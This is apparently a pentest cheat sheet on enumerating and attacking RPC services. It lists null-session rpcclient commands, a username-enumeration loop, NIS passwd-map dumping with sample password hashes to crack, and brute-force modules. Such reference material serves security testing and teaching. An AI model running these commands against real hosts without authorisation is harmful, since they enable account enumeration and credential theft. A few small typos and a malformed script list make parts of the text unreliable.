🟨MSRPC / RPCbind

ℹ️ Introduction

Remote Procedure Call

An interprocess communication technique. The Full form of RPC is Remote Procedure Call. It is used for client-server applications. RPC mechanisms are used when a computer program causes a procedure or subroutine to execute in a different address space, which is coded as a normal procedure call without the programmer specifically coding the details for the remote interaction.

This procedure call also manages low-level transport protocol, such as User Datagram Protocol, Transmission Control Protocol/Internet Protocol etc. It is used for carrying the message data between programs.

Types of RPC

Three types of RPC are:

• Callback RPC

• Broadcast RPC

• Batch-mode RPC

RPC Architecture

RPC architecture has mainly five components of the program:

1. Client

2. Client Stub

3. RPC Runtime

4. Server Stub

5. Server

☑️ Checklist

• Check for Null sessions

• Quert RPC locator

• Test NFS service if you found any

• Try exploiting NIS if you found any

• Try bypassing port mapper filter

Enumeration

nmap -sSUC -p111 [ip]
rpcinfo domain.local
nmap --script bitcoinrpc-info, srpc-enum,rpcap-info,rpc-grind,rpcinfo [ip]
auxiliary/scanner/dcerpc/tcp_dcerpc_auditor
auxiliary/scanner/dcerpc/endpoint_mapper
auxiliary/scanner/dcerpc/hidden 
auxiliary/gather/windows_deployment_services_shares
auxiliary/scanner/dcerpc/windows_deployment_services 
auxiliary/scanner/nessus/nessus_xmlrpc_ping
auxiliary/scanner/dcerpc/management

Check for Null user sessions

rpcclient -N -U "" [IP address]
rpcclient $> lookupnames [user] → check username
rpcinfo -p [ip]

automate user enumeration with a list of usernames

a simple loop to check RPC users in bash

for u in $(cat users.txt); do rpcclient -U "" 192.168.13.26 -N --command="lookupnames $u"; done |grep "User: 1"

metasploit

use auxiliary/scanner/dcerpc/endpoint_mapper use auxiliary/scanner/dcerpc/hidden use auxiliary/scanner/dcerpc/management use auxiliary/scanner/dcerpc/tcp_dcerpc_auditor

rpcdump

rpcdump and ifids Windows utilities query both the RPC locator and specific RPC endpoints to list IFID values.

D:\rpctools> rpcdump [-p port] 192.168.189.1
IfId: 5a7b91f8-ff00-11d0-a9b2-00c04fb6e6fc version 1.0
Annotation: Messenger Service
UUID: 00000000-0000-0000-0000-000000000000
Binding: ncadg_ip_udp:192.168.189.1[1028]

NIS

If you find the service ypbindrunning:

You can try to exploit it. Anyway, first of all you will need to guess the NIS "domain name" of the machine (when NIS is installed it's configured a "domain name") and without knowing this domain name you cannot do anything.

Upon obtaining the NIS domain name for the environment (example.org in this case), use the ypwhich command to ping the NIS server and ypcat to obtain sensitive material. You should feed encrypted password hashes into John the Ripper, and once cracked, you can use it to evaluate system access and privileges.

root@kali:~# apt-get install nis
root@kali:~# ypwhich -d example.org 192.168.10.1
potatohead.example.org
root@kali:~# ypcat –d example.org –h 192.168.10.1 passwd.byname
tiff:noR7Bk6FdgcZg:218:101::/export/home/tiff:/bin/bash 
katykat:d.K5tGUWCJfQM:2099:102::/export/home/katykat:/bin/bash 
james:i0na7pfgtxi42:332:100::/export/home/james:/bin/tcsh 
florent:nUNzkxYF0Hbmk:199:100::/export/home/florent:/bin/csh 
dave:pzg1026SzQlwc:182:100::/export/home/dave:/bin/bash 
yumi:ZEadZ3ZaW4v9.:1377:160::/export/home/yumi:/bin/bash

Master file	Map(s)	Notes
/etc/hosts	hosts.byname, hosts.byaddr	Contains hostnames and IP details
/etc/passwd	passwd.byname, passwd.byuid	NIS user password file
/etc/group	group.byname, group.bygid	NIS group file
/usr/lib/aliases	mail.aliases	Details mail aliases

Bypass Filtered Portmapper port

How to Bypass filtered portmapper port 111Medium

Login Brute Force

auxiliary/scanner/msf/msf_rpc_login
auxiliary/scanner/nessus/nessus_rest_login 
auxiliary/scanner/nessus/nessus_xmlrpc_login
rpcap-brute.nse
deluge-rpc-brute.nse
rpcap-brute.nse
nessus-xmlrpc-brute.nse